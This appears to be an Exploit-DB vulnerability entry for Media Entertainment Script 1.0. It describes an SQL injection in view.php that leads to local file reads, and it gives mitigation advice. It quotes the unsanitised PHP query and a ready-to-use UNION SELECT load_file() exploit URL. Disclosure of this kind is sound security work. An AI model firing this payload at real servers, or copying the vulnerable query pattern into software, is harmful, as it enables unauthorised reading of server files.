Media Entertainment Script 1.0

vendor:

Media Entertainment Script

by:

x0r

7.5

CVSS

HIGH

SQL Injection To LFI

CWE

Product Name: Media Entertainment Script

Affected Version From: 1

Affected Version To: 1

Patch Exists: NO

Related CWE: N/A

CPE: a:media_entertainment_script:media_entertainment_script:1.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Media Entertainment Script 1.0

The vulnerable file is view.php, which is vulnerable to SQL injection. An attacker can exploit this vulnerability by sending a crafted HTTP request with a malicious SQL query to the vulnerable file. This can allow the attacker to read arbitrary files on the server.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL queries.

Source

Exploit-DB raw data:

#########################################################################################
[0x01] Informations:
Name           : Media Entertainment Script 1.0
Download       : http://www.hotscripts.com/listings/jump/download/89424/
Vulnerability  : Sql Injection To Lfi
Author         : x0r
Contact        : andry2000@hotmail.it
Notes          : Proud To Be Italian
Greetz         : //
#########################################################################################
[0x02] Bug:
Bugged file is /[path]/view.php
[code]
$id  = $_GET['id'];
$v = mysql_fetch_array(mysql_query("SELECT id,views,title FROM videos WHERE id='$id'"));
[/code]
#########################################################################################
[0x03] Exploit:
1- http://victim.it/path/view.php?id=-1' union select 0,0,0,load_file('lf'),0,0,0--
########################################################################################

# milw0rm.com [2009-03-24]